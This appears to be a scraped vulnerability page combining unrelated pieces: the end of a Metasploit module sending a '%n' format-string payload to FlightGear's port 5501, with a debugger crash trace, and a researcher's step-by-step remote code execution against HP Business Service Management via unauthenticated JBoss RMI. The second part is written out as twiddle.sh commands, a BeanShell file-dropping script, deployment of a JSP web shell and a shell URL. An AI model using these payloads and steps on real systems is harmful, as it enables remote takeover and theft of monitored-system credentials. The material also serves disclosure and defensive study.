      'DefaultTarget' => 0,
      'DisclosureDate' => 'Apr 21 2013'))

    register_options([Opt::RPORT(5501)], self.class)
  end

  def exploit
    connect

    print_status("Trying to send data...")

    sock.put("data\r\n")
    sock.put("set /sim/rendering/clouds3d-enable true\r\n")
    sock.put("set /environment/clouds\r\n")
    sock.put("set /environment/cloudlayers/layers[0]/cu/cloud/name %n\r\n")
    sock.put("set /environment/clouds/layer[0]/coverage cirrus\r\n")
    sock.put("quit\r\n")

    disconnect
  end

end
  • Crash Analysis

On the WIN32 version available here: http://mirrors.ibiblio.org/flightgear/ftp/Windows/Setup%20FlightGear%202.10.0.3.exe

MSVCR100 is used by FlightGear 2.10.0.3, which looks like coming with FormatString Exploitation Protection:

Breakpoint 0 hit
eax=013dfcc4 ebx=022b0ce0 ecx=013df950 edx=00000002 esi=00000001 edi=013df9c4
eip=004a241e esp=013df8f4 ebp=013dfd08 iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200287
fgfs+0xa241e:
004a241e ff1550e48b00    call    dword ptr [fgfs!std::_Init_locks::operator=+0x6e189 (008be450)] ds:0023:008be450={MSVCR100!_snprintf (78b05c8a)}
0:000> dd esp
013df8f4  013dfcc4 00000031 013df988 00000001
013df904  98706bbe 00000010 00000000 0000000f
013df914  00000000 3ff00000 00000000 00000000
013df924  023827c8 00000000 00000000 022a5b10
013df934  02479808 0089b0b0 00000000 022acfe0
013df944  00000000 00000000 0230dfd0 252d6e00
013df954  00000064 021706e8 02170000 00000000
013df964  0000000f 0223fa40 013dfb98 7c90e900
0:000> db 013df988
013df988  25 6e 2d 25 64 00 17 24-03 00 00 00 f8 51 24 02  %n-%d..$.....Q$.
013df998  05 00 00 00 0f 00 00 00-15 09 8d 00 25 6e 00 00  ............%n..
013df9a8  00 00 00 00 7e 6f 70 98-00 00 00 00 02 00 00 00  ....~op.........
013df9b8  0f 00 00 00 f0 f9 3d 01-b8 ac 89 00 00 00 00 00  ......=.........
013df9c8  00 00 f0 3f 00 10 7e 00-15 09 8d 00 1b 09 8d 00  ...?..~.........
013df9d8  00 00 00 00 00 00 00 00-0f 00 00 00 00 00 00 00  ................
013df9e8  a8 f9 23 02 80 fc 3d 01-c4 fa 3d 01 00 af 89 00  ..#...=...=.....
013df9f8  be 6c 70 98 c4 fa 3d 01-b0 b0 89 00 00 00 00 00  .lp...=.........
0:000> p
WARNING: Step/trace thread exited
eax=7ffd9000 ebx=013df98a ecx=013df010 edx=7c90e4f4 esi=c0000417 edi=013df900
eip=7c90e4f4 esp=013df5c0 ebp=013df5d0 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286
ntdll!KiFastSystemCallRet:
7c90e4f4 c3              ret
0:000> kb
ChildEBP RetAddr  Args to Child
013df5bc 7c90de5c 7c801e3a ffffffff c0000417 ntdll!KiFastSystemCallRet
013df5c0 7c801e3a ffffffff c0000417 013df5fc ntdll!NtTerminateProcess+0xc
013df5d0 78b2af4f ffffffff c0000417 00000001 kernel32!TerminateProcess+0x20
013df5e0 78b2af7d 00000000 00000000 00000000 MSVCR100!_invoke_watson+0x23
013df5fc 78b2af8a 00000000 00000000 00000000 MSVCR100!_invalid_parameter+0x2c
013df614 78b1c7a3 013df8ec 013dfcc4 00000000 MSVCR100!_invalid_parameter_noinfo+0xc
013df8a8 78b05d0e 013df8cc 013df988 00000000 MSVCR100!_output_l+0x86
013df8ec 004a2424 013dfcc4 00000031 013df988 MSVCR100!_snprintf+0x84
WARNING: Stack unwind information not available. Following frames may be wrong.
013dfd08 004a2a3c 00000000 013dfd90 00000000 fgfs+0xa2424
013dfdbc 004a2aed 013dfdfc 0049ed0a 00000004 fgfs+0xa2a3c
013dfdc4 0049ed0a 00000004 00000004 0c0a3b88 fgfs+0xa2aed
013dfdfc 007ec98b 7d035c41 3ff4c78a 98706882 fgfs+0x9ed0a
013dfe34 007ec87a 00000000 3ff00000 00000005 fgfs+0x3ec98b
013dfe78 007ec432 00000000 3ff00000 008c4230 fgfs+0x3ec87a
013dfe90 004196ef 00000000 3ff00000 00000000 fgfs+0x3ec432
013dfeb0 0067d769 98706862 008c4230 0222abc0 fgfs+0x196ef
013dfed4 0041a067 987069aa 0222abc0 00000004 fgfs+0x27d769
013dff1c 00402082 00000004 0222abc0 987069ca fgfs+0x1a067
013dff7c 00850cb3 00000004 0222abc0 02172ee8 fgfs+0x2082
013dffc0 7c817067 217bc3f4 01cec380 7ffd9000 fgfs!std::_Init_locks::operator=+0x9ec
013dfff0 00000000 00850dd4 00000000 00905a4d kernel32!BaseProcessStart+0x23
1
Technical Analysis

Download Software (version 9.10):

http://www8.hp.com/us/en/software-solutions/software.html?compURI=1170773#

Question: is 9.10 vulnerable? It’s the one available for download

Remote Code Execution in HP Business Service Management leads to full system compromise (CVE-2012-2561)

HP Business Service Management (HPBSM) is build around the JBoss Application Server. In its standard configuration and when configured according to the HP installations guide, the newest fully patched version 9.12 comes with an open invoker-servlet (/invoker/JMXInvokerServlet does not require authentication) but more importantly, with RMI (port tcp/4444) and JDNI (tcp/1098 and tcp/1099) accessible without authentication. This gives a remote attacker access to the adapter service and therefore access to MBeans of the JBoss AS.

To exploit the vulnerability, an attacker can remotely deploy an application and call it via RMI. This can be done easily by downloading the official JBoss AS (e.g. jboss-4.2.3.GA) which includes the tool “twiddle.sh” in the bin-directory. With this tool, the RMI interface can be (ab-)used as follows to compromise the HPBSM and get code execution:

  1. jboss-4.2.3.GA/bin/twiddle.sh -s <servername> get jboss.system:type=ServerInfo
    —> this shows that the interface is accessible and does work

  2. create a simple jsp-shell and bundle it as a valid .war file (or use a ready one like http://www.redteam-pentesting.de/files/redteamjboss.tar.gz in the WAR directory)
    —> this will be the shell on the attacked machine

  3. create a base64-representation of the war file (e.g. “base64 -w 0 hpbsm.war >> hpbsm.war.base64”)
    —> this is needed for the deployer script which can only be ascii

  4. create a text file without any line breaks as deployer help script “deployer.bsh”:

import java.io.FileOutputStream; import sun.misc.BASE64Decoder; String val=”<insert-hpbsm.war.base64-content>”; BASE64Decoder decoder = new BASE64Decoder(); byte[] byteval=decoder.decodeBuffer(val); FileOutputStream fs = new FileOutputStream(“C:\WINDOWS\TEMP\hpbsm.war”); fs,write(byteval); fs.close();

  1. create the remote file (first remote code execution):
    jboss-4.2.3.GA/bin/twiddle.sh -s <servername> invoke jboss.deployer:service=BSHDeployer createScriptDeployment “cat deployer.bsh” deployer.bsh
    —> this creates the war file in C:\windows\temp on the remote attacked machine

  2. deploy the created file (second remote code execution):
    jboss-4.2.3.GA/bin/twiddle.sh -s <servername> invoke jboss.system:service=MainDeployer deploy “file:C:/WINDOWS/TEMP/hpbsm.war”
    —> now the attackers jsp-shell is deployed

  3. make sure the deployment was successful by looking up your jsp-shell:
    http://<servername>:8080/status?full=true

  4. call the actual shell (in this case, it’s the one from the redteamjboss.tar.gz):
    http://<servername>:8080/hpbsm/shell.jsp?pass=secret&cmd=whoami
    —> the output is “nt/system” which means that the remote code execution did work and the attacker even has the highest possible system rights because the server process runs as nt/system!

This works even through firewalled HPBSM installations which are not allowed to make outgoing requests.

Side note: HPBSM is a product that is used to monitor other critical systems. To be able to do that, HPBSM servers need so called “scripts” which include clear text credentials for the monitored systems! Therefore, an attacker gains not only full access to the HPBSM server itself but potentially gains accounts and credentials to numerous important systems because in general, monitored systems are important :–)

David Elze, 2012-05-21 (vuln found 2012-03-30 & reported 2012-04-02)